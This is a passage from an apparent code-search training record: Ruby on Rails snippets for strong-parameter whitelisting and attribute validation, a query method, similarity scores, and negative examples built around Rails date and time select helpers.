filter_params\n params.permit(*resource_filter_permitted_params)\n end", "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def argument_params\n params.require(:argument).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def parameters\n nil\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end" ]
[ "0.7121987", "0.70541996", "0.69483954", "0.6902367", "0.6733912", "0.6717838", "0.6687021", "0.6676254", "0.66612333", "0.6555296", "0.6527056", "0.6456324", "0.6450841", "0.6450127", "0.6447226", "0.6434961", "0.64121825", "0.64121825", "0.63913447", "0.63804525", "0.63804525", "0.6373396", "0.6360051", "0.6355191", "0.62856233", "0.627813", "0.62451434", "0.6228103", "0.6224965", "0.6222941", "0.6210244", "0.62077755", "0.61762565", "0.61711127", "0.6168448", "0.6160164", "0.61446255", "0.6134175", "0.6120522", "0.6106709", "0.60981655", "0.6076113", "0.60534036", "0.60410434", "0.6034582", "0.6029977", "0.6019861", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.60184896", "0.60157263", "0.6005857", "0.6003803", "0.60012573", "0.59955895", "0.5994598", "0.5993604", "0.5983824", "0.5983166", "0.5977431", "0.597591", "0.5968824", "0.5965953", "0.59647584", "0.59647584", "0.59566855", "0.59506303", "0.5950375", "0.59485626", "0.59440875", "0.5930872", "0.5930206", "0.5925668", "0.59235454", "0.5917905", "0.59164816", "0.5913821", "0.59128743", "0.5906617", "0.59053683", "0.59052664", "0.5901591", "0.58987755", "0.5897456", "0.58970183", "0.58942604" ]
0.0
-1
Changes attributes hash to remove relationship keys Raises an error if there are any keys left which haven't been defined as properties on the model TODO: use declared_properties instead of self.attributes
def validate_attributes!(attributes) return attributes if attributes.blank? invalid_properties = attributes.keys.map(&:to_s) - self.attributes.keys invalid_properties.reject! { |name| self.respond_to?("#{name}=") } fail UndefinedPropertyError, "Undefined properties: #{invalid_properties.join(',')}" if !invalid_properties.empty? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def extract_relationship_attributes!(attributes)\n attributes.keys.inject({}) do |relationship_props, key|\n relationship_props[key] = attributes.delete(key) if self.has_relationship?(key)\n\n relationship_props\n end\n end", "def clean_dirty_attributes!\n @dirty_attribute_keys = []\n end", "def clean_attributes\n @attribute_changes = {}\n end", "def normalize_before_update(hash, assocs = {})\n hash = include_associations(\n hash,\n @associations,\n assocs\n )\n\n hash = exclude_attrs(\n hash,\n @exclude_attrs_on_update,\n @must_exclude_attrs,\n @associations.keys\n )\n\n hash = rename_attrs(hash, @rename_attrs)\n\n hash\n end", "def attr_hash\n hash = create_hash\n hash.delete(\"id\")\n hash.delete(\"errors\")\n return hash\n end", "def normalize_before_create(hash, assocs = {})\n hash = include_associations(\n hash,\n @associations,\n assocs\n )\n\n hash = exclude_attrs(\n hash,\n @exclude_attrs_on_create,\n @must_exclude_attrs,\n @associations.keys\n )\n\n hash = rename_attrs(hash, @rename_attrs)\n\n hash\n end", "def attributes_for_saving_with_person attributes\n attributes = attributes_for_saving_without_person(attributes)\n\n attributes.delete(:company)\n attributes.delete(:deals)\n attributes.delete(:won_deals_total)\n attributes.delete(:lead_status)\n attributes.delete(:viewed_at)\n attributes.delete(:deal_ids)\n attributes.delete(:predefined_contacts_tag_ids)\n attributes.delete(:user_id)\n attributes.delete(:user)\n\n attributes.delete(:image_thumb_url) if attributes[:image_thumb_url] == \"/images/thumb/missing.png\"\n\n attributes\n end", "def normalized_attributes\n Buildable.normalize_attributes(@attributes ||= {})\n end", "def clear\n @attributes = Hash.new { |hash, key| hash[key] = {} }\n end", "def update_attributes!(attributes)\n super(mark_for_destruction(attributes))\n end", "def _attributes\n @_attributes = superclass.try(:_attributes)&.dup || {} unless defined?(@_attributes)\n @_attributes\n end", "def default_attributes\n target_key = relationship.target_key.map { |property| property.name }\n source_scope = relationship.source_scope(source)\n super.except(*target_key).update(source_scope).freeze\n end", "def writable_attributes resource = nil\n attrs = accessible_attributes(resource).delete_if { |attribute| attribute =~ /(_attributes)$/ }\n attrs -= get_associations(resource)\n end", "def original_attributes\n {}.with_indifferent_access.merge(attributes).merge(changed_attributes)\n end", "def attributes_hash\n self.info.to_hash.symbolize_keys\n end", "def attributes\n (@original_attributes||{}).merge(@attributes).keys.inject({}) do |hash, key|\n hash[key] = read_attribute(key)\n hash\n end\n end", "def attributes=(new_attributes)\n @attributes = if new_attributes.is_a?(Hash)\n cloned_attributes = new_attributes.clone\n cloned_attributes.delete(:ID)\n cloned_attributes.delete(:Name)\n cloned_attributes.delete(:Alias)\n cloned_attributes.delete(:Parent)\n cloned_attributes\n else\n Feature.parse_attributes(new_attributes, except: [:ID, :Name, :Alias, :Parent])\n end\n end", "def local_attributes\n association_attributes + properties.keys - system_attributes\n end", "def nested_attributes_setter(meta, attributes)\n if a = meta[:transform]\n attributes = a.call(self, attributes)\n end\n return if (b = meta[:reject_if]) && b.call(attributes)\n modified!\n reflection = meta[:reflection]\n klass = reflection.associated_class\n sym_keys = Array(klass.primary_key)\n str_keys = sym_keys.map(&:to_s)\n if (pk = attributes.values_at(*sym_keys)).all? || (pk = attributes.values_at(*str_keys)).all?\n pk = pk.map(&:to_s)\n obj = Array(send(reflection[:name])).find{|x| Array(x.pk).map(&:to_s) == pk}\n end\n if obj\n attributes = attributes.dup.delete_if{|k,v| str_keys.include? k.to_s}\n if meta[:destroy] && klass.db.send(:typecast_value_boolean, attributes.delete(:_delete) || attributes.delete('_delete'))\n nested_attributes_remove(meta, obj, :destroy=>true)\n elsif meta[:remove] && klass.db.send(:typecast_value_boolean, attributes.delete(:_remove) || attributes.delete('_remove'))\n nested_attributes_remove(meta, obj)\n else\n nested_attributes_update(meta, obj, attributes)\n end\n elsif pk.all? && meta[:unmatched_pk] != :create\n if meta[:unmatched_pk] == :raise\n raise(Error, \"no matching associated object with given primary key (association: #{reflection[:name]}, pk: #{pk})\")\n end\n else\n nested_attributes_create(meta, attributes)\n end\n end", "def dirty_attributes\n changed.inject({}) { |h, k| h[k] = attributes[k.to_s]; h }\n end", "def init_attributes(attributes)\n self.attributes = attributes.symbolize_keys\n end", "def to_hash\n {}.tap do |hash|\n @original_attrs.keys.each do |at|\n hash[at] = send(at)\n end\n end\n end", "def rewrite_attributes(h={})\n row, original_primary_key, record_class \\\n = CkuruTools.validate_hash_arguments(h,\n [:row,{:instance_that_inherits_from => ActiveRecord::Base,:required => true}],\n [:original_primary_key,{:instance_that_inherits_from => String,:required => true}],\n [:record_class,{:klass_that_inherits_from => ActiveRecord::Base,:required => true}]\n )\n\n\n new = Hash.new\n row.attributes.keys.each do |k|\n new_key = k.downcase\n if new_key == record_class.primary_key\n if new_key == original_primary_key\n ckebug 0, \"mapping #{new_key} from #{record_class.primary_key}\"\n new_key = \"original_#{new_key}\"\n else\n ckebug 1, \"skipping attribute #{new_key}; assuming this is the system generated key\"\n next\n end\n end\n new[new_key] = row.attributes[k]\n end\n return new\n end", "def reverse_assign_attributes(attributes_hash)\n attributes_to_assign = attributes_hash.keys.reject{|_attribute_name| attribute_present?(_attribute_name) }\n\n assign_attributes(attributes_hash.slice(attributes_to_assign))\n end", "def validate_attributes!(attributes)\n invalid_properties = attributes.keys.map(&:to_s) - self.attributes.keys\n raise UndefinedPropertyError, \"Undefined properties: #{invalid_properties.join(',')}\" if invalid_properties.size > 0\n end", "def clear_attributes\n self.attribute_names.clear\n self.public_attribute_names.clear\n self.protected_attribute_names.clear\n\n true\n end", "def clear_original_attributes(options = {})\n if !(options[:only] or options[:except]) || !@original_attributes\n return @original_attributes = nil\n end\n \n attributes_to_clear = if options[:only]\n Array(options[:only]).map(&:to_s)\n elsif options[:except]\n except = Array(options[:except]).map(&:to_s)\n self.class.column_names.reject { |c| except.include?(c) }\n end\n \n attributes_to_clear.each do |attribute|\n @original_attributes[attribute] = @attributes[attribute]\n end\n end", "def creatable_attributes(resource, attributes)\n uncreatable_keys = configuration.uncreatable_keys(resource)\n DataMapper::Ext::Hash.except(attributes, *uncreatable_keys)\n end", "def clean_attributes\n attributes.delete(:bare_metal)\n attributes.delete(:flavor_id)\n attributes.delete(:ephemeral_storage)\n end", "def attributes_hash\n fail 'sub class to implement'\n end", "def dirty_attributes\n dirty_attributes = {}\n properties = self.properties\n\n original_values.each do |name, old_value|\n property = properties[name]\n new_value = property.get!(self)\n\n dirty = case property.track\n when :hash then old_value != new_value.hash\n else\n property.value(old_value) != property.value(new_value)\n end\n\n if dirty\n property.hash\n dirty_attributes[property] = property.value(new_value)\n end\n end\n\n dirty_attributes\n end", "def attributes\n self.class._attributes.dup.each_with_object({}) do |name, hash|\n hash[name] = send(name)\n end\n end", "def attributes=(new_attributes)\n acceptable_attributes = [:ID, :Name, :Note, :Alias, :Parent]\n @attributes = if new_attributes.is_a?(Hash)\n # Symbolify the keys in the hash\n symbolized_attributes = Hash[new_attributes.map { |(attribute, value)| [attribute.to_sym, value] }]\n \n # Pull out the acceptable attributes\n detected_attributes = {}\n acceptable_attributes.each do |attribute|\n detected_attributes[attribute] = symbolized_attributes[attribute] if symbolized_attributes[attribute]\n end\n \n detected_attributes\n else\n Feature.parse_attributes(new_attributes, only: acceptable_attributes)\n end\n end", "def attributes\n # Note: the values returned here are ignored by\n # ActiveModel::Serializers#serializable_hash; just the keys are\n # used to again call those getter methods... But we do want to\n # check the values so we can leave 'nil' out of the hash.\n attribute_keys.inject(\n ActiveSupport::HashWithIndifferentAccess.new) do |result, key|\n value = send(key)\n result[key] = value unless value == nil\n result\n end\n end", "def attributes\n @_attributes ||= Hash.new.with_indifferent_access\n end", "def attributes(*attrs)\n\n self._attributes = _attributes.dup\n\n attrs.each do |attr|\n if Hash === attr\n attr.each {|attr_real, key| attribute attr_real, :key => key }\n else\n attribute attr\n end\n end\n end", "def relationship_attributes=(attrs)\n\n # Don't try to set relationships that fail validation\n validate_relationships(attrs)\n @invalid_rels.each do |rel|\n attrs = attrs.reject{|a| a['relationship_name'] == rel.relationship_name && a['relationship_value'] == rel.relationship_value }\n end\n\n # Clear out old relationships\n rels_ext_edit_fields.each do |predicate_name|\n pred = ActiveFedora::Predicates.find_graph_predicate(predicate_name)\n clear_relationship(pred)\n end\n\n attrs = attrs.reject{|e| e['relationship_name'].blank? || e['relationship_value'].blank? }\n\n # Only accept fields that users are allowed to edit\n attrs = attrs.reject{|e| !rels_ext_edit_fields.include?(e['relationship_name'].to_sym) }\n\n attrs.each do |attr|\n predicate_name = attr['relationship_name'].to_sym\n pred = ActiveFedora::Predicates.find_graph_predicate(predicate_name)\n add_relationship(pred, 'info:fedora/' + attr['relationship_value'])\n end\n self.rels_ext.content = rels_ext.to_rels_ext()\n end", "def attributes_hash\n attributes = @serializable.attributes\n if options[:only].any?\n attributes.slice(*options[:only])\n elsif options[:except].any?\n attributes.except(*options[:except])\n else\n attributes\n end\n end", "def _extract_attributes(attributes)\n return nil unless attributes.is_a?(Hash)\n\n _attributes = Helpers.stringify_keys(attributes)\n\n if _attributes.include?(self.class.resource_name)\n attributes = _attributes.delete(self.class.resource_name)\n @_meta_data = _attributes\n else\n attributes = _attributes\n @_meta_data = {}\n end\n\n attributes\n end", "def hashify_attributes(attrs)\n Hash.new.tap{ |h| attrs.each{|a| h[a] = self.send(a)} }\n end", "def fix_attributes\n fix_encoding\n strip_attributes\n content_manipulation\n sanitize_attributes\n default_attribute_values\n fix_url\n calculate_unique_hash\n end", "def reset_attributes\n @attributes.delete :width\n @attributes.delete :height\n @attributes.delete :created_at\n end", "def properties(hash)\n @properties_from_attributes.merge!(ensure_all_hash_keys_are_symbols(hash))\n end", "def factorygirl_attributes\n symbolize_attributes!\n @attributes.each do |key, value|\n next unless respond_to?(method = method_name(key))\n if (result = send method, value) || value.nil?\n @attributes[key] = result if @attributes.key? key\n else\n @attributes.delete key\n end\n end\n end", "def update_attributes(attributes)\n super(mark_for_destruction(attributes))\n end", "def replicant_attributes\n attributes = self.attributes.dup\n\n omitted_attributes.each { |omit| attributes.delete(omit.to_s) }\n self.class.reflect_on_all_associations(:belongs_to).each do |reflection|\n next if omitted_attributes.include?(reflection.name)\n if info = replicate_reflection_info(reflection)\n if replicant_id = info[:replicant_id]\n foreign_key = info[:foreign_key].to_s\n attributes[foreign_key] = [:id, *replicant_id]\n end\n end\n end\n\n attributes\n end", "def attributize_keys\n keys.each do |key|\n self[key.parameterize.underscore.to_sym] = delete(key)\n end\n self\n end", "def matterful_attributes(options={})\n options = options.dup\n default = options[:default].nil? ? true : options[:default]\n foreign_key = options[:foreign_key].nil? ? true : options[:foreign_key]\n sti = options[:sti].nil? ? true : options[:sti]\n polymorphic = options[:polymorphic].nil? ? true : options[:polymorphic]\n # Set compare_blank_values to false only if you, DO NOT want to update existing information with nil information from the new object\n # For example, sometimes your table has historical data, while source, may only have current. You may want to keep historical data\n # for reference, or if some process relies on it. It's generally not a good idea to delete good data, unless you have to.\n compare_blank_values = options[:compare_blank_values].nil? ? true : options[:compare_blank_values]\n\n # extra keys supplied as array of strings to ignore in comparison\n attributes_to_ignore = options[:extra].nil? ? [] : options[:extra]\n\n # Let's check for and add typical attributes that sti & polymorphic models have, override\n # this by sti: false, polymorphic: false, foreign_key: false\n # by default when looking to compare two objects\n # Customer.find(1).shipping_address.same_as? Address.new(city: 'Chicago')\n # we really only want to see if any of the 'matterfule information changed', like address_line_1 or city.\n # TODO: I guess I could do some smart checking on the model to see what kind of attributes it has.\n # For now we'll just check for all that we want to remove\n if default\n attributes_to_ignore += ['id', 'created_at', 'updated_at']\n end\n # By default we want foreign keys like caegory_id as they provide useful information about current record.\n # Let's say you import a bunch of addresses\n # and they ony matterful change was from shipping to billing category.\n unless foreign_key\n # This will skip polymorphic style foreign keys and only deal with belongs_to style keys\n attributes_to_ignore += attributes.keys.keep_if{|k| k.match(/_id\\z/) && !k.match(/able_id\\z/) }\n end\n if sti\n attributes_to_ignore += ['type']\n end\n # If you are looking at a model that is polymorphic than most like you want to update something\n # like city for an Address , not addressable_id or addresable_type\n # That is more likely type of information to be updated on external import.\n if polymorphic\n attributes_to_ignore += attributes.keys.keep_if{|k| k.match(/able_id\\z/) }\n attributes_to_ignore += attributes.keys.keep_if{|k| k.match(/able_type\\z/) }\n end\n\n # This will only be invoked on blank values\n # Since this gem is used only in the context of ActiveRecord, safe to use blank?, from ActionPack\n # KEEP IN MIND THIS THI WILL NOT CHECK for blanks in sti, foreign, and default attributes\n # it will only check for blank values in keys not in attributes_to_ignore already!!!!\n unless compare_blank_values\n attributes.except(*attributes_to_ignore).keys.each do |key|\n if self.send(key).blank?\n attributes_to_ignore += [key]\n end\n end\n end\n attributes.except(*attributes_to_ignore)\n end", "def initialize_attributes(attributes)\n return unless attributes\n attributes_copy = attributes.dup.delete_if do |k, v|\n if self.class.translations_hash.include?(k)\n self[k] = v\n true\n end\n end\n super attributes_copy\n end", "def load_attributes!\n fetch_data unless data_fetched?\n # master & value attributes\n raw_attributes = Ken::Util.convert_hash(@data[\"/type/reflect/any_master\"])\n raw_attributes.merge!(Ken::Util.convert_hash(@data[\"/type/reflect/any_value\"])) \n @attributes = {}\n raw_attributes.each_pair do |a, d|\n properties.select { |p| p.id == a}.each do |p|\n @attributes[p.id] = Ken::Attribute.create(d, p)\n end\n end\n # reverse properties\n raw_attributes = Ken::Util.convert_hash(@data[\"/type/reflect/any_reverse\"])\n raw_attributes.each_pair do |a, d|\n properties.select { |p| p.master_property == a}.each do |p|\n @attributes[p.id] = Ken::Attribute.create(d, p)\n end\n end\n @attributes_loaded = true\n end", "def attributes\n @attributes ||= begin\n attrs = {}\n self.class.key_attrs.values.each { |a| attrs[a.name] = a.initial_value }\n self.class.other_attrs.values.each { |a| attrs[a.name] = a.initial_value }\n attrs\n end\n end", "def _attributes_\n @_attributes_ ||= self.class.attributes.dup\n end", "def deploy_relation_attributes(key, attributes)\n relation_name = key.to_s.sub(/_attributes$/, '')\n @deploy.public_send(relation_name).map do |item|\n (attributes - [:id, :_destroy]).each_with_object({}) do |attribute, hash|\n hash[attribute] = item.public_send(attribute)\n end\n end\n end", "def clean_attrs\n data = node.to_hash\n %w(run_list recipes roles).each { |k| data.delete(k) }\n data\n end", "def freeze\n @touched_associations.freeze\n\n super\n end", "def to_hash\n attribute_hash = {}\n simple_attributes.each do |att|\n attribute_hash[att] = self.send(att) unless self.send(att).nil?\n end\n \n attribute_hash\n end", "def to_hash\n Attributes.disable_nest_hash(attrs)\n end", "def attr_clean!(key)\n @dirty_attribute_keys ||= []\n @dirty_attribute_keys.delete_if {|k| k == key.to_sym }\n end", "def initialize_attributes(attributes)\n return unless attributes\n attributes_copy = attributes.dup.delete_if do |k, v|\n if self.class.translations_hash.include?(k)\n self[k] = v\n true\n end\n end\n super attributes_copy\n end", "def nested_attributes_update_attributes(meta, obj, attributes)\n nested_attributes_check_key_modifications(meta, obj) do\n nested_attributes_set_attributes(meta, obj, attributes)\n end\n end", "def reset_properties(hash)\n @table.keys.each{|key| remove_ostruct_member(key)}\n hash.each{|key,value| new_ostruct_member(key,value)}\n rest_reset_properties\n end", "def _attributes_\n @_attributes_ ||= self.class.attributes.dup\n end", "def update_attributes(hash)\n hash.keys.each do |key|\n m = \"#{key}=\"\n Child.send(m, hash[key]) if Child.respond_to?(m)\n end\n end", "def attributes\n full_attributes.to_hash(self)\n end", "def attributes\n self.attribute_keys.inject({}) do |hash, key|\n hash[key] = self.__send__(key) if self.__send__(key)\n hash\n end\n end", "def attribute_properties\n @attribute_properties.dup\n end", "def reset_attributes\n self.attributes = {\n # reset time\n :opened_at => nil,\n :resolved_at => nil,\n :closed_at => nil, \n :suspended_at => nil,\n :deleted_at => nil,\n # other\n :currency => self.person ? self.person.default_currency : nil,\n :price_cents => 0\n }\n end", "def attributes= hsh\n conv_hsh = {}\n hsh.each do |k,v|\n k = k.to_s.gsub(/:/,'_') if k =~ /:/\n conv_hsh[k] = v\n end\n super hsh\n end", "def attributes=(attrs)\n unless attrs.respond_to?(:symbolize_keys)\n raise ArgumentError, 'You must pass a hash when assigning attributes'\n end\n\n return if attrs.blank?\n\n attrs = attrs.symbolize_keys\n # First deal with sanitizing for mass assignment\n # this raises an error if attrs violates mass assignment rules\n attrs = self.sanitize_for_mass_assignment(attrs)\n\n attrs.each do |name, value|\n self._assign_attribute(name, value)\n end\n\n attrs\n end", "def returnable_attributes\n attrs = dirty_attributes.dup\n self.class.attributes.select {|name, props| props[:writer] != :public}.each do |name, props|\n attrs.delete name\n end\n attrs.delete(:id)\n attrs\n end", "def fixed_attributes\n @_fixed_attributes ||= FixedAttributes.new(self)\n end", "def fix_membership(attributes)\n attributes['member_of_collections_attributes']&.each do |k,v|\n if v['id'].is_a?(Hash)\n attributes['member_of_collections_attributes'][k] = v['id']\n end\n end\n attributes\n end", "def remove_excluded_attributes!(hash)\n hash.each do |attr, val|\n if attr.in?(EXCLUDED_ENTITY_ATTRIBUTES)\n hash.delete(attr)\n elsif val.is_a? Array\n val.each {|v| remove_excluded_attributes!(v) if v.is_a?(Hash) }\n elsif val.is_a? Hash\n remove_excluded_attributes!(val)\n end\n end\n end", "def to_attr_hash\n to_hash.reject { |key, _| %i[id live_games].include? key }\n end", "def clear_attributes\n @attributes = nil\n end", "def attributes\n unless(@attributes)\n @attributes = Hash.new()\n self.properties_.each do |property|\n @attributes[property.name] = property.value\n end\n end\n @attributes\n end", "def settled_attributes\n instance_vars = self.instance_variables.map do |attr|\n attr.to_s[1..-1].to_sym\n end\n\n instance_vars & attributes\n end", "def attributes=(attrs, initial_setup = false)\n @attributes = {}\n\n attrs = wrap_values(attrs)\n\n if attrs\n # Assign id first\n id = attrs.delete(:_id)\n\n # When doing a mass-assign, we don't save until the end.\n Model.nosave do\n self._id = id if id\n\n # Assign each attribute using setters\n attrs.each_pair do |key, value|\n if self.respond_to?(:\"#{key}=\")\n # If a method without an underscore is defined, call that.\n send(:\"#{key}=\", value)\n else\n # Otherwise, use the _ version\n send(:\"_#{key}=\", value)\n end\n end\n end\n else\n @attributes = attrs\n end\n\n # Trigger and change all\n @deps.changed_all!\n @deps = HashDependency.new\n\n unless initial_setup\n\n # Let the persistor know something changed\n if @persistor\n # the changed method on a persistor should return a promise that will\n # be resolved when the save is complete, or fail with a hash of errors.\n return @persistor.changed\n end\n end\n end", "def attributes\n @attributes ||= {}\n end", "def attributes\n @attributes ||= {}\n end", "def attributes\n @attributes ||= {}\n end", "def copied_attributes\n\t\tattrs = {}\n\t\tattrs[:key] = self.key\n\t\tattrs[:value] = self.value\n\t\tattrs[:description] = self.description\n\t\tattrs[:reference_id] = self.id\n\t\tattrs[:rider_id] = self.rider_id\n\t\tattrs[:tag_list] = self.tag_list\n\n\t\tattrs\n\tend", "def old_attributes\n @old_attributes ||= begin\n query = @relation.select(:id, *@updates.keys).to_sql\n result = ActiveRecord::Base.connection.exec_query(query)\n result.to_hash\n end\n end", "def to_hash\n ret = HashWithIndifferentAccess.new\n ret.merge!(self.attributes_for_hash)\n ret.merge!(self.associations_for_hash)\n ret.merge!(self.add_on_data_for_hash)\n ret.merge!(self.association_foreign_keys_for_hash)\n ret\n end", "def strip_params_before_orm(hash)\n new_hash = hash.dup\n new_hash.delete(\"route_properties\")\n new_hash.delete(\"data_object\")\n\n return new_hash\n end", "def _refresh_set_values(hash)\n @associations.clear if @associations\n super\n end", "def update_attributes(attrs)\n difference = attrs.keys - ASSIGNABLE\n if difference.empty?\n attributes.merge!(attrs)\n else\n raise \"unexpected attributes #{difference} for #{@node.path}\"\n end\n end", "def to_hash\n self.class.attributes.inject({}) { |memo, name| memo[name] = send(name); memo }\n end", "def encrypted_attributes\n active_record_attributes.except(*attributes_without_encrypted_values.keys)\n end", "def current_attributes\n attributes.each_key.each_with_object({}) do |key, h|\n h[key] = public_send(key)\n end\n end", "def restore_attributes(options = {})\n original_attributes_before_type_cast = self.original_attributes_before_type_cast.dup\n \n if options[:only]\n only = Array(options[:only]).map(&:to_s)\n original_attributes_before_type_cast.delete_if { |key, value| !only.include?(key) }\n elsif options[:except]\n except = Array(options[:except]).map(&:to_s)\n original_attributes_before_type_cast.delete_if { |key, value| except.include?(key) }\n end\n \n @attributes.update(original_attributes_before_type_cast)\n end", "def original_attributes\n @record.attributes.symbolize_keys.select do |(attr, _)|\n !%i(created_at updated_at).include?(attr)\n end\n end", "def initialize_attributes(attributes)\n @_properties = {}\n @_properties_before_type_cast={}\n self.attributes = attributes if attributes\n end", "def original_attributes\n ensure_original_attributes_stored\n clone_attributes :read_original_attribute\n end", "def clone\r\n attrs = self.attributes_before_type_cast\r\n self.class.primary_keys.each {|key| attrs.delete(key.to_s)}\r\n self.class.new do |record|\r\n record.send :instance_variable_set, '@attributes', attrs\r\n end\r\n end", "def to_hash\n attributes.dup\n end", "def update_attributes_hash(replacement)\n if replacement\n _base.attributes.merge!(_association.store_as => replacement.attributes)\n else\n _base.attributes.delete(_association.store_as)\n end\n end", "def to_hash\n updated_attrs = Hash[self.instance_values.map do |k,v|\n if v.is_a?(Entity)\n v = v.to_hash\n elsif v.is_a?(Array)\n v.map! do |inner_v|\n inner_v.is_a?(Entity) ? inner_v.to_hash : inner_v\n end\n end\n [k.to_sym, v]\n end]\n end", "def attributes= attributes\n attributes.except('id', :id).map do |key_value|\n __send__ \"#{key_value.first}=\", key_value.last\n end\n\n self.attributes\n end", "def attributes\n @attributes ||= {}\n @attributes\n end" ]
[ "0.7159003", "0.6859239", "0.6776377", "0.6567105", "0.6541112", "0.652634", "0.6514838", "0.6472304", "0.6464073", "0.63433325", "0.6324257", "0.63209885", "0.62974554", "0.62890095", "0.62642246", "0.6249989", "0.62353367", "0.6228171", "0.6221949", "0.6208002", "0.6191699", "0.6190664", "0.6184531", "0.6176227", "0.61580384", "0.6153576", "0.6149588", "0.6149543", "0.6148601", "0.61448455", "0.61439085", "0.61432856", "0.6136745", "0.6119433", "0.6111295", "0.6110432", "0.6104856", "0.60784954", "0.6075636", "0.60620177", "0.605985", "0.60529935", "0.60493666", "0.6048305", "0.6047092", "0.6046317", "0.60458386", "0.60383797", "0.60333", "0.60285044", "0.6027892", "0.60234547", "0.6022885", "0.6021951", "0.6017424", "0.6012543", "0.60018796", "0.59966964", "0.59965384", "0.5995329", "0.5992102", "0.59899604", "0.59875464", "0.5981403", "0.5980177", "0.5978969", "0.59768826", "0.5967839", "0.596607", "0.5957816", "0.5957361", "0.5955967", "0.5947711", "0.59474534", "0.59470785", "0.59418374", "0.59402", "0.5932727", "0.59212697", "0.59212697", "0.59212697", "0.5919384", "0.59185505", "0.59181964", "0.5909941", "0.590917", "0.59075", "0.59068346", "0.5906756", "0.59067196", "0.5897536", "0.58947754", "0.589023", "0.58866614", "0.58865243", "0.5882635", "0.5880517", "0.58801883", "0.5865069", "0.58643097" ]
0.6020705
54
Gives support for Rails date_select, datetime_select, time_select helpers.
def process_attributes(attributes = nil) return attributes if attributes.blank? multi_parameter_attributes = {} new_attributes = {} attributes.each_pair do |key, value| if key.match(DATE_KEY_REGEX) match = key.to_s.match(DATE_KEY_REGEX) found_key = match[1] index = match[2].to_i (multi_parameter_attributes[found_key] ||= {})[index] = value.empty? ? nil : value.send("to_#{$3}") else new_attributes[key] = value end end multi_parameter_attributes.empty? ? new_attributes : process_multiparameter_attributes(multi_parameter_attributes, new_attributes) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def datetime_select(method, options = T.unsafe(nil), html_options = T.unsafe(nil)); end", "def date_select(method, options = T.unsafe(nil), html_options = T.unsafe(nil)); end", "def datetime_select(time, options)\n date_select(time, options) + '&nbsp;at&nbsp;' + time_select(time, options)\n end", "def time_select(method, options = T.unsafe(nil), html_options = T.unsafe(nil)); end", "def datetime_select(method, options = {}, html_options = {})\n @template.datetime_select(@object_name, method, objectify_options(options), html_options)\n end", "def calendar_date_select(object, method, options={})\n obj = options[:object] || instance_variable_get(\"@#{object}\")\n\n if !options.include?(:time) && obj.class.respond_to?(\"columns_hash\")\n column_type = (obj.class.columns_hash[method.to_s].type rescue nil)\n options[:time] = true if column_type == :datetime\n end\n\n use_time = options[:time]\n\n if options[:time].to_s==\"mixed\"\n use_time = false if Date===(obj.respond_to?(method) && obj.send(method))\n end\n\n image, options, javascript_options = calendar_date_select_process_options(options)\n\n options[:value] ||=\n if(obj.respond_to?(method) && obj.send(method).respond_to?(:strftime))\n obj.send(method).strftime(CalendarDateSelect.date_format_string(use_time))\n elsif obj.respond_to?(\"#{method}_before_type_cast\")\n obj.send(\"#{method}_before_type_cast\")\n elsif obj.respond_to?(method)\n obj.send(method).to_s\n else\n nil\n end\n\n tag = ActionView::Helpers::InstanceTag.new_with_backwards_compatibility(object, method, self, options.delete(:object))\n calendar_date_select_output(\n tag.to_input_field_tag( (javascript_options[:hidden] || javascript_options[:embedded]) ? \"hidden\" : \"text\", options),\n image,\n options,\n javascript_options\n )\n end", "def select_datetime(datetime, options)\n select_date(datetime, options)\n select_time(datetime, options)\n end", "def date_select(object, method, options = {}) \r\n if !options[:order]\r\n options[:order] = [:year, :month, :day]\r\n else # don't allow time, just dates\r\n options[:order] = options[:order] - [:hour, :minute, :second, :ampm]\r\n end\r\n datetime_select(object, method, options)\r\n end", 